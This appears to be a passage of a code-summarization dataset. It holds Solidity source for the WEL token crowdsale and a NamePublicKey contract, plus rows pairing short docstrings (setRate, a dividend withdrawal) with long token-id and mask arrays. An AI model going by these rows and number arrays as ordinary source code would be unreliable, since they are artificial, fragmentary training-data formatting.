* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WELToken is MintableToken, PausableToken {
string public constant name = "Welcome Coin";
string public constant symbol = "WEL";
uint8 public constant decimals = 18;
}
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
/**
* @title Crowdsale
* @dev Modified contract for managing a token crowdsale.
* WelCoinCrowdsale have pre-sale and main sale periods, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate and the system of bonuses.
* Funds collected are forwarded to a wallet as they arrive.
* pre-sale and main sale periods both have caps defined in tokens
*/
contract WelCoinCrowdsale is Ownable {
using SafeMath for uint256;
struct Bonus {
uint bonusEndTime;
uint timePercent;
uint bonusMinAmount;
uint amountPercent;
}
// minimum amount of funds to be raised in weis
uint256 public goal;
// wel token emission
uint256 public tokenEmission;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
// true for finalised crowdsale
bool public isFinalized;
// The token being sold
MintableToken public token;
// start and end timestamps where pre-investments are allowed (both inclusive)
uint256 public preSaleStartTime;
uint256 public preSaleEndTime;
// start and end timestamps where main-investments are allowed (both inclusive)
uint256 public mainSaleStartTime;
uint256 public mainSaleEndTime;
// maximum amout of wei for pre-sale and main sale
uint256 public preSaleWeiCap;
uint256 public mainSaleWeiCap;
// address where funds are collected
address public wallet;
// address where final 10% of funds will be collected
address public tokenWallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
Bonus[] public preSaleBonuses;
Bonus[] public mainSaleBonuses;
uint256 public preSaleMinimumWei;
uint256 public mainSaleMinimumWei;
uint256 public defaultPercent;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event FinalisedCrowdsale(uint256 totalSupply, uint256 minterBenefit);
function WelCoinCrowdsale(uint256 _preSaleStartTime, uint256 _preSaleEndTime, uint256 _preSaleWeiCap, uint256 _mainSaleStartTime, uint256 _mainSaleEndTime, uint256 _mainSaleWeiCap, uint256 _goal, uint256 _rate, address _wallet, address _tokenWallet) public {
//require(_goal > 0);
// can't start pre-sale in the past
require(_preSaleStartTime >= now);
// can't start main sale in the past
require(_mainSaleStartTime >= now);
// can't start main sale before the end of pre-sale
require(_preSaleEndTime < _mainSaleStartTime);
// the end of pre-sale can't happen before it's start
require(_preSaleStartTime < _preSaleEndTime);
// the end of main sale can't happen before it's start
require(_mainSaleStartTime < _mainSaleEndTime);
require(_rate > 0);
require(_preSaleWeiCap > 0);
require(_mainSaleWeiCap > 0);
require(_wallet != 0x0);
require(_tokenWallet != 0x0);
preSaleMinimumWei = 300000000000000000; // 0.3 Ether default minimum
mainSaleMinimumWei = 300000000000000000; // 0.3 Ether default minimum
defaultPercent = 0;
tokenEmission = 150000000 ether;
preSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 2, timePercent: 20, bonusMinAmount: 8500 ether, amountPercent: 25}));
preSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 4, timePercent: 20, bonusMinAmount: 0, amountPercent: 0}));
preSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 6, timePercent: 15, bonusMinAmount: 0, amountPercent: 0}));
preSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 7, timePercent: 10, bonusMinAmount: 20000 ether, amountPercent: 15}));
mainSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 7, timePercent: 9, bonusMinAmount: 0, amountPercent: 0}));
mainSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 14, timePercent: 6, bonusMinAmount: 0, amountPercent: 0}));
mainSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 21, timePercent: 4, bonusMinAmount: 0, amountPercent: 0}));
mainSaleBonuses.push(Bonus({bonusEndTime: 3600 * 24 * 28, timePercent: 0, bonusMinAmount: 0, amountPercent: 0}));
preSaleStartTime = _preSaleStartTime;
preSaleEndTime = _preSaleEndTime;
preSaleWeiCap = _preSaleWeiCap;
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
mainSaleWeiCap = _mainSaleWeiCap;
goal = _goal;
rate = _rate;
wallet = _wallet;
tokenWallet = _tokenWallet;
isFinalized = false;
token = new WELToken();
vault = new RefundVault(wallet);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(!isFinalized);
uint256 weiAmount = msg.value;
validateWithinPeriods();
validateWithinCaps(weiAmount);
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint256 percent = getBonusPercent(tokens, now);
// add bonus to tokens depends on the period
uint256 bonusedTokens = applyBonus(tokens, percent);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, bonusedTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
forwardFunds();
}
// owner can mint tokens during crowdsale withing defined caps
function mintTokens(address beneficiary, uint256 weiAmount, uint256 forcePercent) external onlyOwner returns (bool) {
require(forcePercent <= 100);
require(beneficiary != 0x0);
require(weiAmount != 0);
require(!isFinalized);
validateWithinCaps(weiAmount);
uint256 percent = 0;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
if (forcePercent == 0) {
percent = getBonusPercent(tokens, now);
} else {
percent = forcePercent;
}
// add bonus to tokens depends on the period
uint256 bonusedTokens = applyBonus(tokens, percent);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, bonusedTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
}
// set new dates for pre-salev (emergency case)
function setPreSaleParameters(uint256 _preSaleStartTime, uint256 _preSaleEndTime, uint256 _preSaleWeiCap, uint256 _preSaleMinimumWei) public onlyOwner {
require(!isFinalized);
require(_preSaleStartTime < _preSaleEndTime);
require(_preSaleWeiCap > 0);
preSaleStartTime = _preSaleStartTime;
preSaleEndTime = _preSaleEndTime;
preSaleWeiCap = _preSaleWeiCap;
preSaleMinimumWei = _preSaleMinimumWei;
}
// set new dates for main-sale (emergency case)
function setMainSaleParameters(uint256 _mainSaleStartTime, uint256 _mainSaleEndTime, uint256 _mainSaleWeiCap, uint256 _mainSaleMinimumWei) public onlyOwner {
require(!isFinalized);
require(_mainSaleStartTime < _mainSaleEndTime);
require(_mainSaleWeiCap > 0);
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
mainSaleWeiCap = _mainSaleWeiCap;
mainSaleMinimumWei = _mainSaleMinimumWei;
}
// set new wallets (emergency case)
function setWallets(address _wallet, address _tokenWallet) public onlyOwner {
require(!isFinalized);
require(_wallet != 0x0);
require(_tokenWallet != 0x0);
wallet = _wallet;
tokenWallet = _tokenWallet;
}
// set new rate (emergency case)
function setRate(uint256 _rate) public onlyOwner {
require(!isFinalized);
require(_rate > 0);
rate = _rate;
}
// set new goal (emergency case)
function setGoal(uint256 _goal) public onlyOwner {
require(!isFinalized);
require(_goal > 0);
goal = _goal;
}
// set token on pause
function pauseToken() external onlyOwner {
require(!isFinalized);
WELToken(token).pause();
}
// unset token's pause
function unpauseToken() external onlyOwner {
WELToken(token).unpause();
}
// set token Ownership
function transferTokenOwnership(address newOwner) external onlyOwner {
WELToken(token).transferOwnership(newOwner);
}
// @return true if main sale event has ended
function mainSaleHasEnded() external constant returns (bool) {
return now > mainSaleEndTime;
}
// @return true if pre sale event has ended
function preSaleHasEnded() external constant returns (bool) {
return now > preSaleEndTime;
}
// send ether to the fund collection wallet
function forwardFunds() internal {
//wallet.transfer(msg.value);
vault.deposit.value(msg.value)(msg.sender);
}
// we want to be able to check all bonuses in already deployed contract
// that's why we pass currentTime as a parameter instead of using "now"
function getBonusPercent(uint256 tokens, uint256 currentTime) public constant returns (uint256 percent) {
//require(currentTime >= preSaleStartTime);
uint i = 0;
bool isPreSale = currentTime >= preSaleStartTime && currentTime <= preSaleEndTime;
if (isPreSale) {
uint256 preSaleDiffInSeconds = currentTime.sub(preSaleStartTime);
for (i = 0; i < preSaleBonuses.length; i++) {
if (preSaleDiffInSeconds <= preSaleBonuses[i].bonusEndTime) {
if (preSaleBonuses[i].bonusMinAmount > 0 && tokens >= preSaleBonuses[i].bonusMinAmount) {
return preSaleBonuses[i].amountPercent;
} else {
return preSaleBonuses[i].timePercent;
}
}
}
} else {
uint256 mainSaleDiffInSeconds = currentTime.sub(mainSaleStartTime);
for (i = 0; i < mainSaleBonuses.length; i++) {
if (mainSaleDiffInSeconds <= mainSaleBonuses[i].bonusEndTime) {
if (mainSaleBonuses[i].bonusMinAmount > 0 && tokens >= mainSaleBonuses[i].bonusMinAmount) {
return mainSaleBonuses[i].amountPercent;
} else {
return mainSaleBonuses[i].timePercent;
}
}
}
}
return defaultPercent;
}
function applyBonus(uint256 tokens, uint256 percent) internal constant returns (uint256 bonusedTokens) {
uint256 tokensToAdd = tokens.mul(percent).div(100);
return tokens.add(tokensToAdd);
}
function validateWithinPeriods() internal constant {
// within pre-sale or main sale
require((now >= preSaleStartTime && now <= preSaleEndTime) || (now >= mainSaleStartTime && now <= mainSaleEndTime));
}
function validateWithinCaps(uint256 weiAmount) internal constant {
uint256 expectedWeiRaised = weiRaised.add(weiAmount);
// within pre-sale
if (now >= preSaleStartTime && now <= preSaleEndTime) {
require(weiAmount >= preSaleMinimumWei);
require(expectedWeiRaised <= preSaleWeiCap);
}
// within main sale
if (now >= mainSaleStartTime && now <= mainSaleEndTime) {
require(weiAmount >= mainSaleMinimumWei);
require(expectedWeiRaised <= mainSaleWeiCap);
}
}
// if crowdsale is unsuccessful, investors can claim refunds here
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public constant returns (bool) {
return weiRaised >= goal;
}
// finish crowdsale,
// take totalSupply as 90% and mint 10% more to specified owner's wallet
// then stop minting forever
function finaliseCrowdsale() external onlyOwner returns (bool) {
require(!isFinalized);
uint256 totalSupply = token.totalSupply();
uint256 minterBenefit = tokenEmission.sub(totalSupply);
if (goalReached()) {
token.mint(tokenWallet, minterBenefit);
vault.close();
//token.finishMinting();
} else {
vault.enableRefunds();
}
FinalisedCrowdsale(totalSupply, minterBenefit);
isFinalized = true;
return true;
}
}
| set new rate (emergency case) | function setRate(uint256 _rate) public onlyOwner {
require(!isFinalized);
require(_rate > 0);
rate = _rate;
}
| 12,675,923 | [
1,
542,
394,
4993,
261,
351,
24530,
648,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
444,
4727,
12,
11890,
5034,
389,
5141,
13,
1071,
1338,
5541,
288,
203,
565,
2583,
12,
5,
291,
7951,
1235,
1769,
203,
565,
2583,
24899,
5141,
405,
374,
1769,
203,
565,
4993,
273,
389,
5141,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4BC767514611D061F901E0a1e9C01401c8331Df8/sources/BABYTOKEN.sol | @notice Withdraws the ether distributed to the sender. @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. | function _withdrawDividendOfUser(address payable user)
internal
returns (uint256)
{
uint256 _withdrawableDividend = withdrawableDividendOf(user);
if (_withdrawableDividend > 0) {
withdrawnDividends[user] = withdrawnDividends[user].add(
_withdrawableDividend
);
emit DividendWithdrawn(user, _withdrawableDividend);
bool success = IERC20(rewardToken).transfer(
user,
_withdrawableDividend
);
if (!success) {
withdrawnDividends[user] = withdrawnDividends[user].sub(
_withdrawableDividend
);
return 0;
}
return _withdrawableDividend;
}
return 0;
}
| 2,704,244 | [
1,
1190,
9446,
87,
326,
225,
2437,
16859,
358,
326,
5793,
18,
225,
2597,
24169,
279,
1375,
7244,
26746,
1190,
9446,
82,
68,
871,
309,
326,
3844,
434,
598,
9446,
82,
225,
2437,
353,
6802,
2353,
374,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
1918,
9446,
7244,
26746,
951,
1299,
12,
2867,
8843,
429,
729,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
389,
1918,
9446,
429,
7244,
26746,
273,
598,
9446,
429,
7244,
26746,
951,
12,
1355,
1769,
203,
3639,
309,
261,
67,
1918,
9446,
429,
7244,
26746,
405,
374,
13,
288,
203,
5411,
598,
9446,
82,
7244,
350,
5839,
63,
1355,
65,
273,
598,
9446,
82,
7244,
350,
5839,
63,
1355,
8009,
1289,
12,
203,
7734,
389,
1918,
9446,
429,
7244,
26746,
203,
5411,
11272,
203,
5411,
3626,
21411,
26746,
1190,
9446,
82,
12,
1355,
16,
389,
1918,
9446,
429,
7244,
26746,
1769,
203,
5411,
1426,
2216,
273,
467,
654,
39,
3462,
12,
266,
2913,
1345,
2934,
13866,
12,
203,
7734,
729,
16,
203,
7734,
389,
1918,
9446,
429,
7244,
26746,
203,
5411,
11272,
203,
203,
5411,
309,
16051,
4768,
13,
288,
203,
7734,
598,
9446,
82,
7244,
350,
5839,
63,
1355,
65,
273,
598,
9446,
82,
7244,
350,
5839,
63,
1355,
8009,
1717,
12,
203,
10792,
389,
1918,
9446,
429,
7244,
26746,
203,
7734,
11272,
203,
7734,
327,
374,
31,
203,
5411,
289,
203,
203,
5411,
327,
389,
1918,
9446,
429,
7244,
26746,
31,
203,
3639,
289,
203,
203,
3639,
327,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.4 <0.6.0;
import './SafeMath.sol';
import './AOLibrary.sol';
import './TheAO.sol';
import './INamePublicKey.sol';
import './INameFactory.sol';
import './INameTAOPosition.sol';
import './INameAccountRecovery.sol';
/**
* @title NamePublicKey
*/
contract NamePublicKey is TheAO, INamePublicKey {
using SafeMath for uint256;
address public nameFactoryAddress;
address public nameAccountRecoveryAddress;
INameFactory internal _nameFactory;
INameTAOPosition internal _nameTAOPosition;
INameAccountRecovery internal _nameAccountRecovery;
struct PublicKey {
bool created;
address defaultKey;
address writerKey;
address[] keys;
}
// Mapping from nameId to its PublicKey
mapping (address => PublicKey) internal publicKeys;
// Mapping from key to nameId
mapping (address => address) public keyToNameId;
// Event to be broadcasted to public when a publicKey is added to a Name
event AddKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is removed from a Name
event RemoveKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is set as default for a Name
event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is set as writer for a Name
event SetWriterKey(address indexed nameId, address publicKey, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
setNameFactoryAddress(_nameFactoryAddress);
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress);
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if msg.sender is the current advocate of Name ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/**
* @dev Only allowed if sender's Name is not compromised
*/
modifier senderNameNotCompromised() {
require (!_nameAccountRecovery.isCompromised(_nameFactory.ethAddressToNameId(msg.sender)));
_;
}
/**
* @dev Check if `_key` is not yet taken
*/
modifier keyNotTaken(address _key) {
require (_key != address(0) && keyToNameId[_key] == address(0));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO sets NameFactory address
* @param _nameFactoryAddress The address of NameFactory
*/
function setNameFactoryAddress(address _nameFactoryAddress) public onlyTheAO {
require (_nameFactoryAddress != address(0));
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = INameFactory(_nameFactoryAddress);
}
/**
* @dev The AO sets NameTAOPosition address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = INameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev The AO set the NameAccountRecovery Address
* @param _nameAccountRecoveryAddress The address of NameAccountRecovery
*/
function setNameAccountRecoveryAddress(address _nameAccountRecoveryAddress) public onlyTheAO {
require (_nameAccountRecoveryAddress != address(0));
nameAccountRecoveryAddress = _nameAccountRecoveryAddress;
_nameAccountRecovery = INameAccountRecovery(nameAccountRecoveryAddress);
}
/**
* @dev Whitelisted address add publicKey to list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to be added
* @return true on success
*/
function whitelistAddKey(address _id, address _key) external isName(_id) keyNotTaken(_key) inWhitelist returns (bool) {
require (_addKey(_id, _key));
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a Name ID exist in the list of Public Keys
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return publicKeys[_id].created;
}
/**
* @dev Store the PublicKey info for a Name
* @param _id The ID of the Name
* @param _defaultKey The default public key for this Name
* @param _writerKey The writer public key for this Name
* @return true on success
*/
function initialize(address _id, address _defaultKey, address _writerKey)
external
isName(_id)
keyNotTaken(_defaultKey)
keyNotTaken(_writerKey)
onlyFactory returns (bool) {
require (!isExist(_id));
keyToNameId[_defaultKey] = _id;
if (_defaultKey != _writerKey) {
keyToNameId[_writerKey] = _id;
}
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.created = true;
_publicKey.defaultKey = _defaultKey;
_publicKey.writerKey = _writerKey;
_publicKey.keys.push(_defaultKey);
if (_defaultKey != _writerKey) {
_publicKey.keys.push(_writerKey);
}
return true;
}
/**
* @dev Get total publicKeys count for a Name
* @param _id The ID of the Name
* @return total publicKeys count
*/
function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) {
require (isExist(_id));
return publicKeys[_id].keys.length;
}
/**
* @dev Check whether or not a publicKey exist in the list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to check
* @return true if yes. false otherwise
*/
function isKeyExist(address _id, address _key) isName(_id) external view returns (bool) {
require (isExist(_id));
require (_key != address(0));
return keyToNameId[_key] == _id;
}
/**
* @dev Add publicKey to list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to be added
* @param _nonce The signed uint256 nonce (should be Name's current nonce + 1)
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
*/
function addKey(address _id,
address _key,
uint256 _nonce,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public isName(_id) onlyAdvocate(_id) keyNotTaken(_key) senderNameNotCompromised {
require (_nonce == _nameFactory.nonces(_id).add(1));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _key, _nonce));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == _key);
require (_addKey(_id, _key));
}
/**
* @dev Get default public key of a Name
* @param _id The ID of the Name
* @return the default public key
*/
function getDefaultKey(address _id) external isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].defaultKey;
}
/**
* @dev Get writer public key of a Name
